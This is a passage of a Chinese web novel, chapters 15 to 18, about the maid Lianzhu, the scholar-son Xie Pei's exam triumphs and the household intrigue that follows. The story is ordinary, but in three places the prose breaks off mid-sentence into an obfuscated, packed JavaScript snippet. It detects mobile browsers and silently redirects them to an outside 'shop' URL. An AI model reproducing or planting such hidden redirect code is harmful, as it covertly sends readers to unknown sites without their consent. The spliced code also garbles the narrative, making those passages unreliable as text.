她一回头，却见月光从门缝斜斜切进来，照出个身着素白孝服的身影。 谢垚跨了门槛进来，似是没想到这个时辰这个地方还有人，他目光落到桌上的软垫又转回她的身上：“吓着你了？” 他不等连珠回答，又自顾自地道：“我要走了，来这儿只是看看。” 他说得淡淡，但分明藏着点眷恋。 秦如月在此处停灵，在此处发丧，他该是不舍的。 连珠隔了几丈的距离偷瞧他神色落寞，想走不能走，却也不敢开口，生怕惊扰了他。 也不知是夜色寂寥，还是连日找不到一个可以说话的人，谢垚远远看着那个丫头，涌出些交谈的念头。 “是回京城。” 屋里静了一阵，连珠才反应过来，他这是在同自己说话。 溪青前日来找她时就说起，二老爷提前归京，不日二少爷也要带着二小姐行水路回去。那丫头和连珠相处出了感情，想到一别不知何时才能相见，还趴在她肩头哭了一回。 这下听谢垚说要回京，连珠也忆起赠药之恩，福了福身，规矩道：“山高水长，二少爷一路珍重。” 珍重...两个字在谢垚舌尖滚了一遭。 一向年光有限身，等闲离别易销魂。 他低头微叹，有些道理总是亲身体会后才真正感悟。 再抬头的时候，谢垚忽而想起这丫头送来的那碟豆蓉糕，又记得自己在窗帷后看见他们一对少年男女隔着窗洞说话。 情真意切，叫人动容。 他喃喃自语，不知是说给连珠，还是说给自己：“聚散无常，不如怜取眼前人。” 黑暗里擦亮一点烛火，连珠坐在炕上，仍想着方才谢垚离开前的话。 她丧夫丧子，如何能不触动。 可惜，她的眼前人早就不在了。 晨光漫过东墙，连珠做了一夜的梦，睡得并不安稳。 早早醒了洗漱好，挽了袖子洒扫院中落叶。 竹帚才把叶子拢起一堆，院门就被推开，青石门槛外谢培气喘吁吁。靛蓝直裰的下摆被露水打湿了半幅，鞋面上沾着泥星子，他望着连珠笑，笑得那样灿烂，笑得连冬风都暖了。 他朝连珠伸手，愉快像是炉火上蹦开的一粒炒豆，在他心里噼里啪啦地跳。 他说：“连珠，我来接你回去。” 15. 风水轮流转 谢培昨儿傍晚就得了喜讯，县试中他直接得了魁首。 如无重大事故，无须再一路考至院考，就能照例进学。 他得了这样的好消息，第一时间就想和连珠分享。 可思及她孤零零一个仍在静修斋，又想借着自己中了县案首的喜讯，让父亲同意连珠回清月阁。 只是谢渊当夜在外应酬，左等不来，右等不来，掌灯时分才见他酒醉归府，已是不省人事。 谢培无法，只能等到次日。 天方大亮，谢渊身边跟着的管事来金差人到清月阁请谢培。说是大老爷一早得知谢培考中，喜不自胜，要亲自见他。 书房内，谢渊一见谢培立时起身，脸上竟是许久未见的温和笑意，他连声夸赞，又反复劝勉，恨不能他下场府试，能再拿回来一个案首。 发榜前后不过一日，谢渊态度转变如此之大，叫谢培心中倍感凄凉。 他恨暮香堂的不假，可焉知袁英华作恶没有谢渊纵容的缘故。 不过，他今日有所求，对谢渊所言恪遵教诲。如此唯命是从，叫谢渊深感满意，抚了胡须连赞他不坠家声。 谢培见他心情极好，顺势提了连珠之事，被他顺口应下。 “从前我人微言轻，在爹面前也说不上话，但现在不一样了。”谢培站到连珠跟前，凝视她一双眼眸，“我说过会接你回去的。” “是，三少爷说过自然会做到。”连珠被他的笑意感染，原本觉得回不回清月阁没什么要紧，现下却觉得有人惦念，心中也有几分喜悦。 连珠理了包袱，见谢培还等在院里。 谢培知她要问什么，赶紧道：“这两日不必去家塾，我跟你一同回去。” “好。”连珠说着就跟着谢培身后。 谁知，谢培并不迈步，反而转身盯着她，慢慢从袖口里拿出支簪子。 那簪子通体白玉，只簪头上镶了碧玺雕的梅花。碧玺粉粉嫩嫩，比夏日冰雪冷元子里放的冰块还要清透。 他拿着那簪子，视线又落到连珠的鬓边，并不敢看她的眼睛：“这个给你。” 簪子是他去铺里特意挑的，那碧玺色如桃花，一见就让他想到连珠挑灯磨墨，烛火映粉腮。 只是连珠许久不接，让他心里打鼓：“你不喜欢？” 连珠看着那支精巧的簪子，心下确实迟疑。可抬眼时，正撞见谢培紧抿成线的唇和眼里小心翼翼的期待，拒绝的话就怎么也说不出口。 “少爷费心了。” 让连珠守在静修斋两个月，谢培心中愧疚，这簪子本就是为了赔礼买的，他生怕她不喜，是勉强收的。 “你是不是不喜欢，要是不喜欢，我再去买...” “不是，我也喜欢梅花的。”连珠赶紧按捺住他的话头，“哪就这么破费了，还要再去买。再说，又不是逢年过节，我又无甚功劳，不必送这个。” “谁说你没功劳。”谢培反驳，“你做的书包，我用着正好。” 不过一个书包，在谢培口中好像成了了不得的事。连珠抿嘴笑道：“好，那我就承三少爷的情。” 她伸手去接，没想到谢培却忽地将手往回一收。再看去，他已向前半步，指尖拈着那支梅花簪，轻声说：“我替你簪上。” 廊下风静，他袖口拂过连珠额发，那双执笔的手难得笨拙。 银簪的尖儿轻轻划过她耳后的皮肤，激起一阵细微的战栗。而后，那簪子插进她的发髻，叫她头顶沉了两分。 谢培退后半步瞧着，几乎要灼热眼睛。 “好看。” 他不知在说簪子，还是在说人。 连珠再回清月阁，兰儿自是高兴，青芝早知有这一天，心中也无甚波澜。只有白芍心中不忿，一眼瞧见连珠头上的梅花簪，更是大为妒忌。 只是她回清月阁前，才被娘亲敲打过，要小心行事。又逢三少爷中了案首，更加不敢放肆，只好将胸中对连珠的一口气压了下来。 “你回来就好了。”兰儿拉着连珠的手絮絮叨叨，“你一走，我连个说话的人都没有。” 她帮着连珠收拾完床铺，便又说起三少爷的喜事。 “三少爷前脚一出门，大老爷的东西就送来了。”兰儿掰着指头，“笔墨纸砚，送了一大堆，白芍说都是好东西。” 穷在闹市无人问,富在深山有远亲。谢培不过十四就得了县案首，可以说是前途无量。 府里这一辈只三个男丁，大少爷年纪大了性情早定，怕是没什么大出息。二少爷虽才情出众，可远在京城。算来算去，怕不是从前无人问津的三少爷，成了谢家下人值得押注的好苗子。 风吹草动，一整个上午来清月阁的人，比之前一年都要多。 先是平日连炭火都克扣三分的丫鬟素梅，忽然将拖欠的用度补齐了，还额外添了两筐银霜炭。再来花房的婆子也殷勤起来，挑了四五盆开得最好的春兰送了过来。 真真是风水轮流转，总算转到了他们院里。 暮香堂的礼是午后来的。 喜和嬷嬷领着四个丫鬟捧着朱漆托盘，笑着来贺：“大夫人听说三少爷中了案首，欢喜得什么似的，特意让开了库房，拣选了些合用的。” 两匹杭绸，四方刻印的青田石，另有一苏绣文房小插屏。 东西样样精细。 谢培恭敬谢过，又回了话说明朝请安亲自去谢。 待人走了，屋中只余连珠一人，他才瞬间冷下脸色。看也不看那矮几上放的好物，让连珠尽数收进库里。 “一样都不留吗？”连珠见他不快，却还是提点。 她到底是存了善念，对这肖似谦哥儿的孩子总是狠不下心来不管。 谢培闻言一滞，想起才回来不久的白芍，心中堵得厉害，随手一指那个插屏：“就把它放书案上。” 也好，他就这样日日看着，也可日日警醒自己。 日光弹指过，春雨绵绵，院里的枝头都冒了绿意，二房的人走了也有半个多月。 四月府试在即，谢渊发下话来，清月阁一应事务都得为着谢培的考试让路。 大厨房一日三餐送来的菜色也是精细考究起来。 晨起的素粥换了七宝碧粳米粥，配着四样小菜也按着谢培的口味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092449|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来做。午膳和晚膳更不必说，两荤两素一汤一饭一点心，另外新鲜果子、酱脯、糕饼应有尽有。 这些东西，谢培一人哪里吃得完。 他让连珠挑了喜欢的，剩下的又赏给白芍几人。 连日吃喝下来，兰儿每每在床上躺下，都要捏着腰上厚了三寸的肥肉哀叫。只是第二日见了好菜好饭，又忍不住多吃两碗，如此循环往复，眨眼就到了府试开考前夜。 兰儿提前拿了到大厨房拿了饭菜，连珠在桌上起了锅子。 今日说是有平江那边新鲜来的鲥鱼。 这季节鲥鱼难得，送来府里，谢渊特意交代，要给谢培留上一份。 清炖鲥鱼上桌之后，仍小火炖着。内里鲥鱼只取中段最肥美的部分，鱼皮下小火煮得晶亮。火腿干贝吊了整夜的高汤，佐以清嫩的水磨豆腐，闻来一股清香。 谢培看了一下午的文章，也觉得腹中饥饿。过来瞧见桌上的菜色，开口就叫连珠同他一起用饭。 相处这么些时日，他也渐渐摸出连珠的喜好。知她喜清淡、喜河鲜，这清炖鲥鱼，应该是合了她的口味。 连珠摇头，只是站在桌边给谢培添饭夹菜。 倒也不是第一次了，每每有桌上有连珠爱吃的，谢培总要问上一回，也都要被拒绝一回。 他知道连珠是真心待他，可也确实从不逾矩半步。她不过比自己大了两岁，该是爱玩乐的年纪，却好像没什么消遣，不买胭脂也不翻花绳，好像在廊下绣花就是她偷闲的时光了。 要让他来说，他是盼着连珠能同他玩笑亲近的。 可他又实在不能指摘什么，她是那样一个人，谢府的规矩又重，更何况院里还有暮香堂的眼线。 连珠不肯坐下，那鲜美的鲥鱼吃到嘴里也没了胃口。 “怎么？大厨房做得不好？” 连珠心道，明明闻着味道还挺香的。 谢培不答，连珠又猜：“莫不是明日要入考场，紧张了？” 虽说谢培是案首不必再考府试，可谢渊仍叫他下场，望他再拿个案首。 连珠设身处地，便觉得他小小年纪身负压力，定然紧张了。 谢培没说是也没说不是，只道：“我要紧张了，该怎么办好？” 连珠闻言，当真思忖起来：“明儿得把那薄荷脑油带上，要是紧张了就深吸一口气，使劲嗅一回。还有参片，也得带上，你一坐就是一日，含在舌下定不会头晕眼花...” 她说着尤嫌不够，要再想个法子让他放平常心，就见谢培正瞧着自己，唇角微扬，那笑意明晃晃的，哪有半分紧张模样。 她霎时明白过来，耳根一热：“好啊，三少爷作弄我。” 谢培怕她恼了，赶紧拉住她的袖子，晃了两晃：“不作弄你。我是当真...” 他顿了顿，深吸一口气：“我是当真要考上的。连珠，你信我。” 窗外树影沙沙，房里静得只听见砂锅里的翻腾声。 连珠的袖子从他指尖逃脱，让他心里一空。可下一秒，他听见她的声音，胸中又满了起来。 “我自然信你。” 16. 往房里进人 四月府试三道制艺题出得刁钻，却是谢培提前温过的内容。 发案之后，果然再得案首。 谢渊知道之后，简直乐开了花。拉着全家上下祭祖上香不说，还广发帖子，在府中大摆宴席。 知府衙门送来贺仪、县学教谕亲笔题匾额，人人谈起谢家三郎都要赞上一句，顺带夸了谢渊教子有方。 之后八月院试，长案上谢培的名字自然在册。虽然名次还未发布，但谢府已经是张灯结彩、敲敲打打。 恰逢中秋，两桩喜事并在一处，仍在金徽堂设宴。短短半年，比之除夕那日，谢培的境况已经大有不同。 谢培端坐主位，眼角眉梢的喜气压都压不住。他亲自执壶斟酒不算，还特意吩咐把鸡丝燕窝汤摆到谢培跟前。 “培儿爱喝汤，放他跟前。” 袁英华坐在谢渊身侧，闻言嘴角僵硬地向上扯了一下。这些时日谢培的消息每在她耳边出现一次，就好似在她心上划了一刀。 这柳迎霜当真克她，死了不说，生的儿子也能这样给自己添堵。 延州繁华，秀才的名额虽不算少，但真要考中也不是容易之事。坤儿三年次次落第，已是叫谢渊失望。现下有了谢培做对比，更是看他不顺眼。 “你要多学学你弟弟，成日地贪玩享乐，如何能够成才！” 谢渊余光瞥见谢坤只顾吃喝，眼角的笑意瞬间淡了，声音里都压着火气。 谢坤那筷子一歪，掉在桌上，嘴里是龙肉也没了胃口。 身边还坐着娶进门的新妇，被当着众人落了脸面，谢坤脸涨成猪肝色鼻孔哼出气来。 谢渊见他这副不成器的样子，怒火更甚：“怎么，我说错了？我原指望你能重振文脉，可你倒好，整日里跟着那群纨绔厮混，你当你私下里那些胡闹我不知道？” 谢渊动了真火，席间霎时静了，众人目光在谢培与谢坤之间打了个转。 袁英华面上雍容的笑意纹丝未动，只眼风扫过儿子僵直的侧影，指甲嵌进掌心。 三夫人王素波察觉到席间尴尬，但她向来少言寡语，此刻对着众人也不敢言语缓和气氛。 倒是三老爷谢浔端着酒杯，幽幽开口：“还是大哥福气好，大郎健硕，三郎博学，可惜兄弟三个，单我膝下无子。” 他将将四十，年轻时也是一表人材。但长久浸淫酒色，眼周一圈青色，双颊也凹了下去。 王素波嫁进谢府快要十余年，头几年一直无所出，好容易怀了一胎，却是个千金。 谢浔本就待她无情，而后愈发在外鬼混，不肯归家。 王素波一来心中有愧，二来也盼他能回家，接连将自己的丫鬟芳姿纳给他做妾，又买进良家子鸳鸯。 两人也陆续大了肚子，只是生的也都是女儿。 这话出口，席上众人又是神情各异。 谢渊闻言，面上那点因谢培而生的骄色淡了些，看向胞弟的眼神里浮起几分长兄的温厚：“三弟还年轻。” 谢浔喝了点酒，说话愈发口无遮拦：“年轻是一回事，房里人肚子不争气又是另一回事。” 他说着眼睛横向王素波，让她不敢抬头。 这话粗俗，谢渊忍不住提醒：“三弟慎言，孩子们还在呢！” “是是是，我说话不注意，该打。”谢浔放下酒杯，往自己嘴边扇了一掌，又面露淫/邪的笑意，“不过，坤儿已经成亲，就是三郎也已经到了年纪，可以往房里进人了。” 筷头的炙虾应声而落，谢培脑中嗡的一声，满脸通红。 席间的交谈笑语像是隔了一层水，模糊不清。他心里猝不及防地冒出个人影，愈发坐立难安。 好容易等席散了，吃了两盅酒的谢培由小厮跟着，往清月阁走。 谢培忽而闻到一阵桂花香气，他淡淡开口：“桂子月中落。” “什么？少爷，你说什么？”跟在他身后的金环上前两步问。 谢培摇头，桂香袭人，他只是想起了吃过的那点桂花蜜糖。他停了脚步，看见金环手里捧着的东西，问：“这是什么？” 金环低头看了看，回答道：“是披风，连珠姐姐说怕宴席散得太晚，夜里风凉。” 连珠... 谢培不得不承认，方才席间三伯提到房中进人，他脑海中浮现的人便是连珠。 他被自己的这个念头吓了一跳，一如当初的那场梦。 家塾中早有不学无术的子弟将纳妾狎/妓挂在嘴边，就是大哥谢坤前几月成亲之时，房中也早有了通房丫鬟。 谢培他并非不通人事。 他从前丝毫没往这方面想过，是因他在这府中每步都如履薄冰。他所有的心思都绷成一根弦，只够想着如何把书读好，如何在下一次考校时不落人后。 出人头地。 这四个字烙印在他心里。 他没有功夫去想别的，男女之情...他没想过，也懒于去想。 但那人若是连珠。 若是连珠的话，他只是想到，就心如擂鼓。 —— 袁英华回到暮香堂就砸了一薄胎瓷盏。 房中丫鬟皆是大气都不敢出，看见喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102796|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和嬷嬷朝她们摆手，赶紧关了门往屋外去。 “好，好得很！”袁英华走到桌边，狠拍了桌面，“过不了几年，这个家怕是就没有我和坤儿的立足之地了。” 喜和嬷嬷知她是为着老爷看重谢培心中不快，她跟了夫人大半辈子，知道此刻任何劝慰都是火上浇油。 “我这些年替他打理中馈，不说功劳也有苦劳，倒养出个比嫡亲儿子还得脸的庶子。” 喜和嬷嬷看她实在气恼，安慰道：“夫人何苦跟老爷置气，老爷不过随口一言，大少爷他毕竟是谢府的长子嫡孙。” “长子嫡孙又如何？”袁英华气在心头，面目都开始扭曲，“你是没看见他这段时间恨不能将那崽子捧上天去！案首要贺，院试要贺，连平日多吃半碗饭都要夸一句读书耗神！他何时对坤儿如此上心过？今日在小辈跟前如此数落坤儿，他还要脸不要，我还要脸不要！” 论起亲疏远近，喜和当然要向着谢坤说话。但私心论起来，她倒情愿有一个谢培这样的儿子。 她哀叹一声，继续宽慰道：“夫人，大少爷名分摆在那儿，任谁也越不过去。三少爷再得脸，柳姨娘早早去了，无人替他经营...” “无人经营？”袁英华冷笑打断，“老爷如今就是他的靠山，你当那清月阁如今的吃穿用度还是从前的光景？” 她不肯坐下，在房内疾走两步发了一通火气：“我倒成了这府里的笑话。” 袁英华说到这里，怒而转向喜和：“你说，若真让那孽障一路考上去，中了举人，甚至...到那时，老爷眼里还能有坤儿的位置吗？这谢家日后，到底是谁的谢家？” 这话问得诛心，喜和嬷嬷那张老脸也白了白。 “夫人，老奴说句僭越的话。三少爷如今不过是刚过了院试，离举人进士还远。少年人捧得高，摔下来才更疼。老爷看重文才，咱们当前最要紧的，是把大少爷的功课抓起来。等大少爷考中秀才，再捐个官身，就是三少爷再有本事，也决计越不过大少爷去。” “你当我不知么？”说到这个，袁英华就颇为头疼，素甲点在额角，她烦扰道，“坤儿...他不争气啊！还好提前将坤儿的亲事定了，若是再晚两年，恐怕我那堂兄都不肯将女儿嫁过来。” “夫人，老奴瞧着家塾里人多，难免叫少爷分心。不如咱们单独请位西席，一则显得夫人重视少爷功课，二则也清净。” “请，自然要请！我就是押着也要他好好读书，三年，不，两年内一定要考中！” “还有清月阁那孽障，也必不能叫他翻了天去！” 17. 转性 小厨房里，连珠将晒好的菊花放进瓷罐，盖了盖子就见兰儿一阵风似的跑了进来。 “不是端茶去？怎么这么快就回来了？”连珠问她。 “也不知白芍她突然发的什么疯，在门口就强要着把茶端走了，说是书房的事儿我不懂，她送去给三少爷。”兰儿一屁股坐在凳上，连灌了两口水，奇怪道，“她转性了？” 这让连珠想起兰儿从前问，三少爷不用伺候，为何白芍她们还高兴的问题。 时移势易。 谢培现在是秀才公，前途无量，白芍的态度当然也转了弯。 连珠没想错。 书房内，白芍分外殷勤，端茶到谢培跟前不算，还持了纱绣花鸟团扇在他身后缓缓扇风。 九月的天本就凉了下来，哪里需要打扇子。 谢培皱眉道：“这时节又不热，打什么扇子，你下去吧。” 放在以往，白芍被落了面子肯定要恼，可今日看着秀才公那张俊逸的侧脸，白芍却软下声音辩解道：“少爷，奴婢是看屋中有蝇子，打扇赶一赶，不然扰了您写字。” 那飞蝇谢培倒不曾注意。反倒是白芍又是添茶，又是打扇，惹他心烦。她身上也不知熏得什么香，一走近气味实在浓郁，闻来犯晕。 谢培叹了口气，忍不住想起连珠，她便从来不熏香，身上自有一股淡淡的香味，好闻的紧。 好容易指使白芍寻他晚上去赴簪花宴的衣裳，谢培才松了一口气。 只是还没清净片刻，白芍又捧了两三件衣裳来让他挑。谢培无法，随意指了那件云纹的青罗衫，让她拿出去熨烫。 屋外，青芝站在凳上擦窗棱，倒是将里头这一出瞧了个一清二楚。 她和白芍同住，哪能注意不到近日来白芍的变化。 单说差役来报江宁府上元县谢培老爷恭应院试第三名那日，她就忙不迭地换了一条水红撒花裙，又特意用茉莉花油篦头，簪了新买的发梳。 自己奉承一句她装扮得漂亮。 那白芍怎么回来着？对了，她说：“三少爷如今是秀才公，咱们清月阁的人，总不好太朴素，没得丢了主子的脸面。” 青芝擦着窗缝里的灰尘，才不信她这句鬼话。丢了脸面是假，想在三少爷跟前争宠是真。 她擦着擦着，就见连珠从小厨房出来，拿了剪子去剪石凳上花盆里的残花。 浅杏色的直襟长衫，衣袖半挽，露出内里袖口绣出的几朵秋菊。她肤色莹润嫩白，穿这样的颜色也好看。 青芝忍不住想，白芍一贯自负美貌，可真要说起来，那钗环戴翠的富贵，比起天然去雕饰的素雅，到底还是落了下乘。 更何况，三少爷心中有偏。 青芝冷眼瞧着，打连珠从静修斋回来，三少爷待连珠愈发不一般。 平日三少爷唤人脱口就是连珠，时常带些外头的点心蜜饯赏给她们，也都是连珠爱吃的口味。 虽说都是些细枝末节的小事，但青芝心里自有分晓。 连珠怕是要越过白芍，成了清月阁的头一份。 她心中有些后悔，早知这丫头有这份造化，刚来的时候自己何苦给她委屈受。 青芝为人不少毛病，但有一优点，便是能屈能伸。 她想通这层，日后说话做事都顾忌着连珠。偶尔还凑到连珠跟前，帮忙做些不累人的琐事。 白芍虽不聪明，好歹是一个院里住着，长久下来她也看出了些端倪。 她眼见谢培待连珠不同，心头那簇火就越烧越旺。 她既看不开，也不想忍，只要谢培不在府中就仗着大丫鬟的身份，事事与连珠别苗头。 但连珠那人做事周全，又与人和善，叫她做重活有兰儿、青芝帮衬，教训她几句，她也不气，自己一拳打在棉花上反而气个半死。 难道真就没了法子？ —— 谢培院试虽未拿下案首，连中小三元，但他毕竟年幼，又位列院试第三。如此才学又如此家世，在延州城中已是炙手可热。 师友、同科邀请他参加的宴会不少，一直到十月中旬，这样的聚会才慢慢少了。只偶尔有志同道合的好友私下约着小聚一二。 这日，平江府汐水县的刘仲言来府。 这次院试中刘仲言也是名列前茅，簪花宴上正好坐在谢培隔壁，两人聊了两句志趣相投，就约了日后再见。 平江刘家也是小有名气的清流之家，早几代出过不少进士，现在也有一伯爷在京中翰林院任职。 发案之后，刘仲言并未急着归家，而是在延州走亲访友，一待就是两个月。 他跟着谢培穿过两道垂花门，才到了谢府的三进院墙外，遥遥可见东边园子茂林修竹、雀鸟争鸣。 方才一路上已见谢府廊庑深深、亭台错落，现下更是忍不住开口赞叹：“毓仁①，府上这般气象，真叫元之我大开眼界。” 谢培只淡淡一笑，引着他往北边走。待穿过穿堂，便到了清月阁。 谢培领人进去，白芍正在院中，见了他赶紧迎上来：“三少爷。” “去泡茶来。” 小厨房桌案上有温着的水，白芍拿了两只青釉盖碗，兑了热水正要冲茶。 支摘窗半开，她瞧着连珠从窗前经过，忽地眼珠一转起了心思。 连珠的润手油用完了。秋日干燥，她们做丫鬟一双手成日干活，稍不注意就破皮开裂。前几日请冬生出府的时候帮自己带一罐仁济堂的。今儿托人来递话，说是东西到了。 连珠心里还奇怪，明明钱也给了，怎么不干脆叫那传话的人送来。 她正要出门，却听白芍叫她。 回身去看，白芍身子半弯，苦着一张脸，眉头微蹙：“连珠，快，帮我把这茶给三少爷送去。我肚子忽然疼得不行，怕是要在主子跟前失宜。” 她说着，也不管连珠答不答应，手里那端着的托盘就往连珠手里送。 大漆托盘里放着两只三才碗②，连珠端稳了，款步走进正房。 谢培和一白面郎君站在书架前闲叙，连珠伸手拿起茶碟就要放在桌上，只是指尖才触到茶碟，就烫得她一抖。 她缩手放下，“嚓”地一声，那只茶盏险些倒翻。 里间两人都听见动静，循声看来，谢培问道：“怎么了？” “三少爷恕罪，奴婢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107117|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心打翻了茶水，这就去重新泡来。”连珠说着屈膝行礼。 “可伤着了？”谢培两步上前，就要看连珠的手。 连珠赶紧摇头，退了出去。 她重新兑了八分烫的水，倒水的时候看着方才白芍给她的茶盏。那是薄胎瓷，热导得极快，故而这么短短几步，杯里热水的温度就传到了碟子上。 这薄胎瓷是新分给清月阁的，还是头一回拿出来用，白芍并不知道。 她是故意的么？ 这滚烫的茶水，若不是自己发现，不管是谢培烫了，还是那位客烫了，都不是小事。 她敢这么大胆？ 夜里，谢培将白日借给刘仲言的书卷重新放回架上，他听见有人进屋。 脚步幽微，他知道那是连珠。 “过来。”谢培放了书卷，冷着面色叫她。 连珠捧了绒毯听见他语气不好，心中微动：“三少爷？” “你把东西放下，过来。” 连珠来清月阁也快一年，她早发现谢培这人瞧着温文柔顺，其实内里却是块硬玉，有着一股狠劲。 只是他这段时日待自己从来和颜悦色，还是头一回这番态度。 连珠走过去刚要开口，就被谢培按在椅上坐下。 “手。” 谢培见她似是没有反应过来，直接拿住她今朝被烫了的右手，拖到跟前。 食指尖上只有一个小泡，并不严重。 但谢培看来却刺眼得很，他心疼。 屉里取出个小罐，谢培没说话，只拧开罐盖，清苦的药香漫出来。他用铜签挑了些药膏，轻轻给连珠擦上。 “这药膏你拿去，一天两次擦了，不消几日就能好。” 本就是烫了个小泡，不擦药，几日也能好。被谢培如此郑重其事地对待，连珠也实在意外。 既是他的一片心意，那罐药她也收了起来。 事到这儿却还没完，谢培不声不响地看她，不知心里想的什么，只是脸色还是不好看。 连珠今儿打翻茶水，引了刘仲言注意。 人都走出去，他还抻着脑袋往外看。末了，还调笑一句：“清水出芙蓉，天然去雕饰。没想到毓仁院中的丫鬟也如此标致。” 只是听他点评一句，谢培就无端生出一种被冒犯的恼意，沉甸甸地压在心头。 他甚至忍不住去怪连珠，怎地不早不晚，偏偏来人的时候打翻茶水，叫人注意。 可细想起来，他今日分明是叫白芍沏茶，怎么送茶的又换了连珠。他并非那些头昏眼花，不识后宅深浅的懵懂少年。白芍一直都不安分，怕不是她又在生事。 “今天下午是怎么回事？不是让白芍泡茶，怎么到了你手上？” 连珠习惯大事化小，但她也猜到白芍是存了坏心故意害她，自己也不必将这委屈打碎了牙往肚子里咽，实话实话道：“白芍推说肚子疼，让我把茶送来。我一碰到茶碟，就觉得烫手，那茶是拿刚离了炭炉的沸水泡的。” 谢培闻言“啪”地一掌拍到桌上，已是气极：“她这是要害你！” ①谢培字毓仁 ②茶盖、茶碗、茶碟 18. 出府嫁人 暮香堂里，青蓝色琉璃香炉袅袅生烟，一旁的大漆盘子里放着两副鎏金累丝的宝石头面。 王庆和站在下首，眼角余光瞥着大夫人拿了发簪发梳一一检视。 不知怎的，她虽瞧着袁氏面色平静，但眼角眉梢透着股寒意，瞧得人心里发毛。 她搜肠刮肚地想，是清晨谢培来请安惹了不快，还是午膳的饭菜不合胃口？ 她们这位夫人为人做事样样厉害，手底下的人皆是惧她、怕她，万事不敢在她跟前含糊。 想来想去，无甚头绪，袁英华又久不开口，她只能提心吊胆地站着。 将那两副头面尽数看完，扯了绸布盖住，袁英华才吐出一口气，慢道：“庆和，你跟着我也有二十多年了吧？” “二十八年，夫人。” “那你应当知道我的规矩啊。”袁英华望着她，表情一肃，“我平时最痛恨吃里扒外的不忠之辈，我让你女儿去清月阁给我看着那兔崽子，不是去让她给我通风报信的！” 两句话让王庆和脸色大变，连想都没想就吓得膝盖一软，跪在地上连声叫屈：“夫人，夫人，白芍她...我们一家子对您是忠心耿耿，万不会做出那等吃里扒外的勾当啊！夫人，其中是不是有什么误会？对对对，肯定是有误会！” “误会？”袁英华嘴角挂起一丝冷笑，“我给坤儿请师傅的事情才有了眉目，那兔崽子就连人家几时到的延州都一清二楚了。若非你那好女儿通风报信，难不成他神仙在世，连这个都能算到？” 王庆和没想到是为着这事，压根琢磨不出缘由。 袁英华又道：“我不是不知道，自他考中秀才，这府里就人心浮了，火烧火燎地两边下注。可我还没死呢！旁人如何，我管不过来，但我身边的人要是敢有二心，就休怪我不客气！” 王庆和吓得大气也不敢出，她心知袁英华不是个软性子，更不玩雷声大雨点小那一套。想到她的手段，两股颤颤，身子又往下伏了一寸。 袁英华见威慑的目的达成，朝着她摆摆手：“你回去告诉白芍，让她醒醒神，别忘了她是从暮香堂出去的！别给我花头花脑地动些歪心思，不然，我绝不轻饶了她！” 王庆和连连点头，从房里退出去，夜风一激，才惊觉后背已经湿透了。 她走出院子，细想起来白芍近日偷摸来暮香堂的次数是少了。难不成真是这丫头起了异心？ 还是她平日说话口没遮拦，不小心把事情说漏，叫三少爷听了去？ 不管哪一个，都叫她气不打一处来。 夫人虽是避开众丫鬟训斥她，但并未压着声音，哪有听不见的。这一番敲打不光是说给她听的，也是说给暮香堂众人的。但她都这把年纪了，还被拿来作筏子，一想起就臊得慌。 “这死丫头！” 隔日，王庆和就寻了机会将白芍带回家去。 “娘，你没事叫我回来做什么？有什么不能在暮香堂说的？”白芍一进门，就抓了一把桌上的瓜子，放了一粒到嘴里，含糊地问。 一路上，王庆和生怕隔墙有耳，半个字也没透露，白芍自然不知道厉害。 她关了门，这才劈手打掉白芍手里的瓜子，怒道：“吃吃吃，你还吃！” 她一指头戳在白芍的额上，咬着牙说：“你给我说实话，大少爷请了名师大儒来，这事你有没有说给三少爷？” 白芍愣了愣，嘟嘟囔囔地开口：“我说了...还是没说啊，我也忘了？” 白芍确实忘了，她这几日为在谢培跟前献殷勤，没话找话，说了什么她早就不记得了。 王庆和差点没背过气去，她怎么会有这么个糊涂女儿！ “死丫头！让你去清月阁是看着三少爷的，不是让你去漏风的！你娘是大夫人的陪嫁丫鬟，你也是从暮香堂出去的，这才多少时日，你就浑忘了？”王庆和一扯白芍的衣袖，让她看着自己，“三少爷那是夫人的心头刺，你从前最看不上他...” 她话说一半，叫白芍打断：“那是从前，现在不一样了。三少爷他中了秀才，以后还要中举...” “就是中了举，又与你何干！”王庆和怒火上涌，看着女儿一脸娇色，还有什么不明白的，“我刚刚说得一番话，你是一点没听进去！夫人天恩，给了我脸面，若知道我的女儿生了二心，你我还有活路么！我告诉你，把那些心思给我收收，你若再犯浑，就干脆出府嫁人算了！” 白芍闻言，撒腿跺脚怒道：“凭什么！凭什么我就要出府嫁人！夫人就没真心待我，我又何必在她一棵树上吊死！” “你胡说什么！”王庆和呆了。 